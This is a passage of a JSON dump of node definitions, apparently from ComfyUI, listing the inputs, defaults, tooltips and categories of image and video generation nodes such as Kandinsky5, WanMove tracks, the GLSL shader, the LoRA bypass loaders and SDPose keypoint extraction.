"output_tooltips": ["Calculated width in pixels multiplied by the selected multiple.", "Calculated height in pixels multiplied by the selected multiple."], "output_matchtypes": null, "name": "ResolutionSelector", "display_name": "Resolution Selector", "description": "Calculate width and height from aspect ratio and megapixel target. Useful for setting up Empty Latent Image dimensions.", "python_module": "comfy_extras.nodes_resolution", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "wanBlockSwap": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "wanBlockSwap", "display_name": null, "description": "Intercept wanBlockSwap custom node that causes major instability and make it no-op.", "python_module": "comfy_extras.nodes_nop", "category": "", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Kandinsky5ImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 768, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "LATENT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "cond_latent"], "output_tooltips": [null, null, "Empty video latent", "Clean encoded start images, used to replace the noisy start of the model output latents"], "output_matchtypes": null, "name": "Kandinsky5ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning/kandinsky", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "NormalizeVideoLatentStart": {"input": {"required": {"latent": ["LATENT", {}], "start_frame_count": ["INT", {"tooltip": "Number of latent frames to normalize, counted from the start", "default": 4, "min": 1, "max": 16384, "step": 1}], "reference_frame_count": ["INT", {"tooltip": "Number of latent frames after the start frames to use as reference", "default": 5, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["latent", "start_frame_count", "reference_frame_count"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "NormalizeVideoLatentStart", "display_name": null, "description": "Normalizes the initial frames of a video latent to match the mean and standard deviation of subsequent reference frames. Helps reduce differences between the starting frames and the rest of the video.", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeKandinsky5": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "qwen25_7b": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "clip_l", "qwen25_7b"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeKandinsky5", "display_name": "CLIP Text Encode (Kandinsky 5)", "description": "", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning/kandinsky", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["kandinsky prompt"], "essentials_category": null, "has_intermediate_output": false}, "WanMoveTrackToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "strength": ["FLOAT", {"tooltip": "Strength of the track conditioning.", "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "start_image": ["IMAGE", {}]}, "optional": {"tracks": ["TRACKS", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "strength", "width", "height", "length", "batch_size", "start_image"], "optional": ["tracks", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanMoveTrackToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveTracksFromCoords": {"input": {"required": {}, "optional": {"track_coords": ["STRING", {"default": "[]", "forceInput": true, "multiline": false}], "track_mask": ["MASK", {}]}}, "input_order": {"required": [], "optional": ["track_coords", "track_mask"]}, "is_input_list": false, "output": ["TRACKS", "INT"], "output_is_list": [false, false], "output_name": ["TRACKS", "track_length"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "WanMoveTracksFromCoords", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveConcatTrack": {"input": {"required": {"tracks_1": ["TRACKS", {}]}, "optional": {"tracks_2": ["TRACKS", {}]}}, "input_order": {"required": ["tracks_1"], "optional": ["tracks_2"]}, "is_input_list": false, "output": ["TRACKS"], "output_is_list": [false], "output_name": ["TRACKS"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanMoveConcatTrack", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveVisualizeTracks": {"input": {"required": {"images": ["IMAGE", {}], "line_resolution": ["INT", {"default": 24, "min": 1, "max": 1024}], "circle_size": ["INT", {"advanced": true, "default": 12, "min": 1, "max": 128}], "opacity": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01}], "line_width": ["INT", {"advanced": true, "default": 16, "min": 1, "max": 128}]}, "optional": {"tracks": ["TRACKS", {}]}}, "input_order": {"required": ["images", "line_resolution", "circle_size", "opacity", "line_width"], "optional": ["tracks"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanMoveVisualizeTracks", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GenerateTracks": {"input": {"required": {"width": ["INT", {"default": 832, "min": 16, "max": 4096, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 4096, "step": 16}], "start_x": ["FLOAT", {"tooltip": "Normalized X coordinate (0-1) for start position.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "start_y": ["FLOAT", {"tooltip": "Normalized Y coordinate (0-1) for start position.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "end_x": ["FLOAT", {"tooltip": "Normalized X coordinate (0-1) for end position.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "end_y": ["FLOAT", {"tooltip": "Normalized Y coordinate (0-1) for end position.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "num_frames": ["INT", {"default": 81, "min": 1, "max": 1024}], "num_tracks": ["INT", {"default": 5, "min": 1, "max": 100}], "track_spread": ["FLOAT", {"tooltip": "Normalized distance between tracks. Tracks are spread perpendicular to the motion direction.", "default": 0.025, "min": 0.0, "max": 1.0, "step": 0.001}], "bezier": ["BOOLEAN", {"tooltip": "Enable Bezier curve path using the mid point as control point.", "default": false}], "mid_x": ["FLOAT", {"tooltip": "Normalized X control point for Bezier curve. Only used when 'bezier' is enabled.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "mid_y": ["FLOAT", {"tooltip": "Normalized Y control point for Bezier curve. Only used when 'bezier' is enabled.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "interpolation": ["COMBO", {"tooltip": "Controls the timing/speed of movement along the path.", "multiselect": false, "options": ["linear", "ease_in", "ease_out", "ease_in_out", "constant"]}]}, "optional": {"track_mask": ["MASK", {"tooltip": "Optional mask to indicate visible frames."}]}}, "input_order": {"required": ["width", "height", "start_x", "start_y", "end_x", "end_y", "num_frames", "num_tracks", "track_spread", "bezier", "mid_x", "mid_y", "interpolation"], "optional": ["track_mask"]}, "is_input_list": false, "output": ["TRACKS", "INT"], "output_is_list": [false, false], "output_name": ["TRACKS", "track_length"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GenerateTracks", "display_name": "Generate Video Tracks", "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["motion paths", "camera movement", "trajectory"], "essentials_category": null, "has_intermediate_output": false}, "EmptyARVideoLatent": {"input": {"required": {"width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 1024, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyARVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/latent/autoregressive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerARVideo": {"input": {"required": {"num_frame_per_block": ["INT", {"tooltip": "Frames per autoregressive block. 1 = framewise, 3 = chunkwise. Must match the checkpoint's training mode.", "default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["num_frame_per_block"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerARVideo", "display_name": "Sampler AR Video", "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ARVideoI2V": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {}], "start_image": ["IMAGE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 1024, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["model", "vae", "start_image", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["MODEL", "LATENT"], "output_is_list": [false, false], "output_name": ["MODEL", "LATENT"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ARVideoI2V", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/conditioning/autoregressive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageCompare": {"input": {"required": {"compare_view": ["IMAGECOMPARE", {"socketless": true}]}, "optional": {"image_a": ["IMAGE", {}], "image_b": ["IMAGE", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["compare_view"], "optional": ["image_a", "image_b"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "ImageCompare", "display_name": "Compare Images", "description": "Compares two images side by side with a slider.", "python_module": "comfy_extras.nodes_image_compare", "category": "image", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "TextEncodeZImageOmni": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "auto_resize_images": ["BOOLEAN", {"advanced": true, "default": true}]}, "optional": {"image_encoder": ["CLIP_VISION", {}], "vae": ["VAE", {}], "image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "image3": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt", "auto_resize_images"], "optional": ["image_encoder", "vae", "image1", "image2", "image3"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeZImageOmni", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_zimage", "category": "model/conditioning/z-image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GLSLShader": {"input": {"required": {"fragment_shader": ["STRING", {"tooltip": "GLSL fragment shader source code (GLSL ES 3.00 / WebGL 2.0 compatible)", "default": "#version 300 es\nprecision highp float;\n\nuniform sampler2D u_image0;\nuniform vec2 u_resolution;\n\nin vec2 v_texCoord;\nlayout(location = 0) out vec4 fragColor0;\n\nvoid main() {\n fragColor0 = texture(u_image0, v_texCoord);\n}\n", "multiline": true}], "size_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Output size: 'from_input' uses first input image dimensions, 'custom' allows manual size", "options": [{"key": "from_input", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"width": ["INT", {"default": 512, "min": 1, "max": 16384}], "height": ["INT", {"default": 512, "min": 1, "max": 16384}]}}}]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Images are available as u_image0-4 (sampler2D) in the shader code", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}], "floats": ["COMFY_AUTOGROW_V3", {"tooltip": "Floats are available as u_float0-19 in the shader code", "template": {"input": {"required": {"float": ["FLOAT", {"default": 0.0, "forceInput": true}]}}, "prefix": "u_float", "min": 0, "max": 20}}], "ints": ["COMFY_AUTOGROW_V3", {"tooltip": "Ints are available as u_int0-19 in the shader code", "template": {"input": {"required": {"int": ["INT", {"default": 0, "forceInput": true}]}}, "prefix": "u_int", "min": 0, "max": 20}}], "bools": ["COMFY_AUTOGROW_V3", {"tooltip": "Booleans are available as u_bool0-9 (bool) in the shader code", "template": {"input": {"required": {"bool": ["BOOLEAN", {"default": false, "forceInput": true}]}}, "prefix": "u_bool", "min": 0, "max": 10}}], "curves": ["COMFY_AUTOGROW_V3", {"tooltip": "Curves are available as u_curve0-3 (sampler2D, 1D LUT) in the shader code. Sample with texture(u_curve0, vec2(x, 0.5)).r", "template": {"input": {"required": {"curve": ["CURVE", {"default": {"points": [[0.0, 0.0], [1.0, 1.0]], "interpolation": "monotone_cubic"}, "socketless": true, "forceInput": true}]}}, "prefix": "u_curve", "min": 0, "max": 4}}]}}, "input_order": {"required": ["fragment_shader", "size_mode", "images", "floats", "ints", "bools", "curves"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false, false], "output_name": ["IMAGE0", "IMAGE1", "IMAGE2", "IMAGE3"], "output_tooltips": ["Available via layout(location = 0) out vec4 fragColor0 in the shader code", "Available via layout(location = 1) out vec4 fragColor1 in the shader code", "Available via layout(location = 2) out vec4 fragColor2 in the shader code", "Available via layout(location = 3) out vec4 fragColor3 in the shader code"], "output_matchtypes": null, "name": "GLSLShader", "display_name": "GLSL Shader", "description": "Apply GLSL ES fragment shaders to images. u_resolution (vec2) is always available.", "python_module": "comfy_extras.nodes_glsl", "category": "image/shader", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": true}, "LoraLoaderBypass": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "clip": ["CLIP", {"tooltip": "The CLIP model the LoRA will be applied to."}], "lora_name": [[], {"tooltip": "The name of the LoRA."}], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the diffusion model. This value can be negative."}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the CLIP model. This value can be negative."}]}}, "input_order": {"required": ["model", "clip", "lora_name", "strength_model", "strength_clip"]}, "is_input_list": false, "output": ["MODEL", "CLIP"], "output_is_list": [false, false], "output_name": ["MODEL", "CLIP"], "name": "LoraLoaderBypass", "display_name": "Load LoRA (Bypass) (For debugging)", "description": "Apply LoRA in bypass mode. Unlike regular LoRA, this doesn't modify model weights - instead it injects the LoRA computation during forward pass. Useful for training scenarios.", "python_module": "comfy_extras.nodes_lora_debug", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "experimental": true, "search_aliases": []}, "LoraLoaderBypassModelOnly": {"input": {"required": {"model": ["MODEL"], "lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "lora_name", "strength_model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "LoraLoaderBypassModelOnly", "display_name": "Load LoRA (Bypass, Model Only) (for debugging)", "description": "Apply LoRA in bypass mode. Unlike regular LoRA, this doesn't modify model weights - instead it injects the LoRA computation during forward pass. Useful for training scenarios.", "python_module": "comfy_extras.nodes_lora_debug", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "experimental": true, "search_aliases": []}, "TextGenerate": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"default": "", "multiline": true, "dynamicPrompts": true}], "max_length": ["INT", {"default": 512, "min": 1, "max": 32768}], "sampling_mode": ["COMFY_DYNAMICCOMBO_V3", {"display_name": "Sampling Mode", "options": [{"key": "on", "inputs": {"required": {"temperature": ["FLOAT", {"default": 0.7, "min": 0.01, "max": 2.0, "step": 1e-06}], "top_k": ["INT", {"default": 64, "min": 0, "max": 1000}], "top_p": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "min_p": ["FLOAT", {"default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}], "repetition_penalty": ["FLOAT", {"default": 1.05, "min": 0.0, "max": 5.0, "step": 0.01}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615}]}, "optional": {"presence_penalty": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}}, {"key": "off", "inputs": {"required": {}}}]}]}, "optional": {"image": ["IMAGE", {}], "video": ["IMAGE", {"tooltip": "Video frames as image batch. Assumed to be 24 FPS; subsampled to 1 FPS internally."}], "audio": ["AUDIO", {}], "thinking": ["BOOLEAN", {"tooltip": "Operate in thinking mode if the model supports it.", "default": false}], "use_default_template": ["BOOLEAN", {"tooltip": "Use the built in system prompt/template if the model has one.", "advanced": true, "default": true}]}}, "input_order": {"required": ["clip", "prompt", "max_length", "sampling_mode"], "optional": ["image", "video", "audio", "thinking", "use_default_template"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["generated_text"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextGenerate", "display_name": "Generate Text", "description": "", "python_module": "comfy_extras.nodes_textgen", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["LLM", "gemma"], "essentials_category": null, "has_intermediate_output": false}, "TextGenerateLTX2Prompt": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"default": "", "multiline": true, "dynamicPrompts": true}], "max_length": ["INT", {"default": 512, "min": 1, "max": 32768}], "sampling_mode": ["COMFY_DYNAMICCOMBO_V3", {"display_name": "Sampling Mode", "options": [{"key": "on", "inputs": {"required": {"temperature": ["FLOAT", {"default": 0.7, "min": 0.01, "max": 2.0, "step": 1e-06}], "top_k": ["INT", {"default": 64, "min": 0, "max": 1000}], "top_p": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "min_p": ["FLOAT", {"default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}], "repetition_penalty": ["FLOAT", {"default": 1.05, "min": 0.0, "max": 5.0, "step": 0.01}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615}]}, "optional": {"presence_penalty": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}}, {"key": "off", "inputs": {"required": {}}}]}]}, "optional": {"image": ["IMAGE", {}], "video": ["IMAGE", {"tooltip": "Video frames as image batch. Assumed to be 24 FPS; subsampled to 1 FPS internally."}], "audio": ["AUDIO", {}], "thinking": ["BOOLEAN", {"tooltip": "Operate in thinking mode if the model supports it.", "default": false}], "use_default_template": ["BOOLEAN", {"tooltip": "Use the built in system prompt/template if the model has one.", "advanced": true, "default": true}]}}, "input_order": {"required": ["clip", "prompt", "max_length", "sampling_mode"], "optional": ["image", "video", "audio", "thinking", "use_default_template"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["generated_text"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextGenerateLTX2Prompt", "display_name": "Generate LTX2 Prompt", "description": "", "python_module": "comfy_extras.nodes_textgen", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["prompt enhance", "LLM", "gemma"], "essentials_category": null, "has_intermediate_output": false}, "ColorToRGBInt": {"input": {"required": {"color": ["COLOR", {"default": "#ffffff", "socketless": true}]}}, "input_order": {"required": ["color"]}, "is_input_list": false, "output": ["INT", "COLOR"], "output_is_list": [false, false], "output_name": ["rgb_int", "hex"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ColorToRGBInt", "display_name": "Color Picker", "description": "Return a color RGB integer value and hexadecimal representation.", "python_module": "comfy_extras.nodes_color", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CreateList": {"input": {"required": {"inputs": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"input": ["COMFY_MATCHTYPE_V3", {"template": {"template_id": "type", "allowed_types": "*"}}]}}, "prefix": "input", "min": 1, "max": 10}}]}}, "input_order": {"required": ["inputs"]}, "is_input_list": true, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [true], "output_name": ["list"], "output_tooltips": [null], "output_matchtypes": ["type"], "name": "CreateList", "display_name": "Create List", "description": "", "python_module": "comfy_extras.nodes_toolkit", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["Image Iterator", "Text Iterator", "Iterator"], "essentials_category": null, "has_intermediate_output": false}, "NAGuidance": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply NAG to."}], "nag_scale": ["FLOAT", {"tooltip": "The guidance scale factor. Higher values push further from the negative prompt.", "default": 5.0, "min": 0.0, "max": 50.0, "step": 0.1}], "nag_alpha": ["FLOAT", {"tooltip": "Blending factor for the normalized attention. 1.0 is full replacement, 0.0 is no effect.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "nag_tau": ["FLOAT", {"default": 1.5, "min": 1.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "nag_scale", "nag_alpha", "nag_tau"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The patched model with NAG enabled."], "output_matchtypes": null, "name": "NAGuidance", "display_name": "Normalized Attention Guidance", "description": "Applies Normalized Attention Guidance to models, enabling negative prompts on distilled/schnell models.", "python_module": "comfy_extras.nodes_nag", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SDPoseKeypointExtractor": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "batch_size": ["INT", {"default": 16, "min": 1, "max": 10000, "step": 1}]}, "optional": {"bboxes": ["BOUNDING_BOX", {"tooltip": "Optional bounding boxes for more accurate detections. Required for multi-person detection.", "default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}]}}, "input_order": {"required": ["model", "vae", "image", "batch_size"], "optional": ["bboxes"]}, "is_input_list": false, "output": ["POSE_KEYPOINT"], "output_is_list": [false], "output_name": ["keypoints"], "output_tooltips": ["Keypoints in OpenPose frame format (canvas_width, canvas_height, people)"], "output_matchtypes": null, "name": "SDPoseKeypointExtractor", "display_name": "SDPose Keypoint Extractor", "description": "Extract pose keypoints from images using the SDPose model: https://huggingface.co/Comfy-Org/SDPose/tree/main/checkpoints", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["openpose", "pose detection", "preprocessor", "keypoints", "sdpose"], "essentials_category": null, "has_intermediate_output": false}, "SDPoseDrawKeypoints": {"input": {"required": {"keypoints": ["POSE_KEYPOINT", {}], "draw_body": ["BOOLEAN", {"default": true}], "draw_hands": ["BOOLEAN", {"default": true}], "draw_face": ["BOOLEAN", {"default": true}], "draw_feet": ["BOOLEAN", {"default": false}], "stick_width": ["INT", {"default": 4, "min": 1, "max": 10, "step": 1}], "face_point_size": ["INT", {"default": 3, "min": 1, "max": 10, "step": 1}], "score_threshold": ["FLOAT", {"default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01}], "draw_head": ["BOOLEAN", {"default": true}]}}, "input_order": {"required": ["keypoints", "draw_body", "draw_hands", "draw_face", "draw_feet", "stick_width", "face_point_size", "score_threshold", "draw_head"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SDPoseDrawKeypoints", "display_name": "SDPose Draw Keypoints", "description": "", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["openpose", "pose detection", "preprocessor", "keypoints", "pose"], "essentials_category": null, "has_intermediate_output": false}, "SDPoseFaceBBoxes": {"input": {"required": {"keypoints": ["POSE_KEYPOINT", {}], "scale": ["FLOAT", {"tooltip": "Multiplier for the bounding box area around each detected face.", "default": 1.5, "min": 1.0, "max": 10.0, "step": 0.1}], "force_square": ["BOOLEAN", {"tooltip": "Expand the shorter bbox axis so the crop region is always square.", "default": true}]}}, "input_order": {"required": ["keypoints", "scale", "force_square"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["bboxes"], "output_tooltips": ["Face bounding boxes per frame, compatible with SDPoseKeypointExtractor bboxes input."], "output_matchtypes": null, "name": "SDPoseFaceBBoxes", "display_name": "SDPose Face Bounding Boxes", "description": "", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face bbox", "face bounding box", "pose", "keypoints"], "essentials_category": null, "has_intermediate_output": false}, "CropByBBoxes": {"input": {"required": {"image": ["IMAGE", {}], "bboxes": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}], "output_width": ["INT", {"tooltip": "Width each crop is resized to.", "default": 512, "min": 64, "max": 4096, "step": 8}], "output_height": ["INT", {"tooltip": "Height each crop is resized to.", "default": 512, "min": 64, "max": 4096, "step": 8}], "padding": ["INT", {"tooltip": "Extra padding in pixels added on each side of the bbox before cropping.", "default": 0, "min": 0, "max": 1024, "step": 1}], "keep_aspect": ["COMBO", {"tooltip": "Whether to stretch the crop to fit the output size, or pad with black pixels to preserve aspect ratio.", "default": "stretch", "multiselect": false, "options": ["stretch", "pad"]}]}}, "input_order": {"required": ["image", "bboxes", "output_width", "output_height", "padding", "keep_aspect"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": ["All crops stacked into a single image batch."], "output_matchtypes": null, "name": "CropByBBoxes", "display_name": "Crop By Bounding Boxes", "description": "Crop and resize regions from the input image batch based on provided bounding boxes.", "python_module": "comfy_extras.nodes_sdpose", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": 